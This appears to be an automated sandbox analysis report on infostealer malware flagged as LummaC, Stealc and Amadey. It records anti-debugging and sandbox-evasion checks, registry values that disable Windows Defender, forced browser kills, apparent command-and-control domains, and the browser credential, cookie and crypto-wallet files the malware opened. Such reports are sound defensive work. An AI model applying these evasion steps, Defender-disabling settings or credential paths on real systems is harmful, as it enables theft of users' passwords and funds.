Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

Code function: 4_2_04EE02BA Start: 04EE03DD End: 04EE031A

4_2_04EE02BA

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Code function: 3_2_00E1C826 rdtsc

3_2_00E1C826

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Code function: 3_2_00C9B7DA LdrInitializeThunk,

3_2_00C9B7DA

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7a5878ed96.exe PID: 2220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7a5878ed96.exe PID: 5144, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.2080161295.0000000005460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe "C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe "C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002711001\num.exe "C:\Users\user\AppData\Local\Temp\1002711001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 1dc3787ee3.exe, 0000000C.00000002.3003758072.0000000000D52000.00000002.00000001.01000000.00000010.sdmp, 1dc3787ee3.exe, 00000022.00000000.3145844996.0000000000D52000.00000002.00000001.01000000.00000010.sdmp, 1dc3787ee3.exe.8.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000006.00000002.2398961739.0000000000FC2000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager
Source: 7a5878ed96.exe, 0000000A.00000002.2912103066.0000000000A32000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: gProgram Manager
Source: firefox.exe, 0000001A.00000002.3162446357.000000DF9083B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 1664VO856PFRR45SNXLF.exe, 00000003.00000002.2440418066.0000000000E67000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: t)Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002711001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002711001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: c1b0009d40.exe, 00000009.00000003.2893797131.0000000005C44000.00000004.00000800.00020000.00000000.sdmp, c1b0009d40.exe, 0000000B.00000003.3027367867.0000000005A6E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.NX5XML9A4AMIPXG5AGRT0AH025A0.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2352124084.00000000055B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2396576521.0000000000DD1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2359666990.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2638387077.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2319457250.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2398844659.0000000000DD1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2358426536.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3151390685.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 1dc3787ee3.exe PID: 3568, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c1b0009d40.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 10.2.7a5878ed96.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.7a5878ed96.exe.5c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2870739086.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.3018415386.0000000000191000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.3079747725.0000000005000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3041700292.00000000010EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3169928437.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2911715801.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3033467651.0000000000191000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3033601352.00000000001AE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.3018510412.00000000001AE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7a5878ed96.exe PID: 2220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7a5878ed96.exe PID: 5144, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2198832216.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.2158627510.0000000006121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Edge/Default/Extensions/Jaxx Liberty
Source: file.exe, 00000000.00000003.2198832216.000000000163E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2113799995.000000000169E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.2114729955.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: a\Roaming\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.2127109163.000000000168F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ata\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
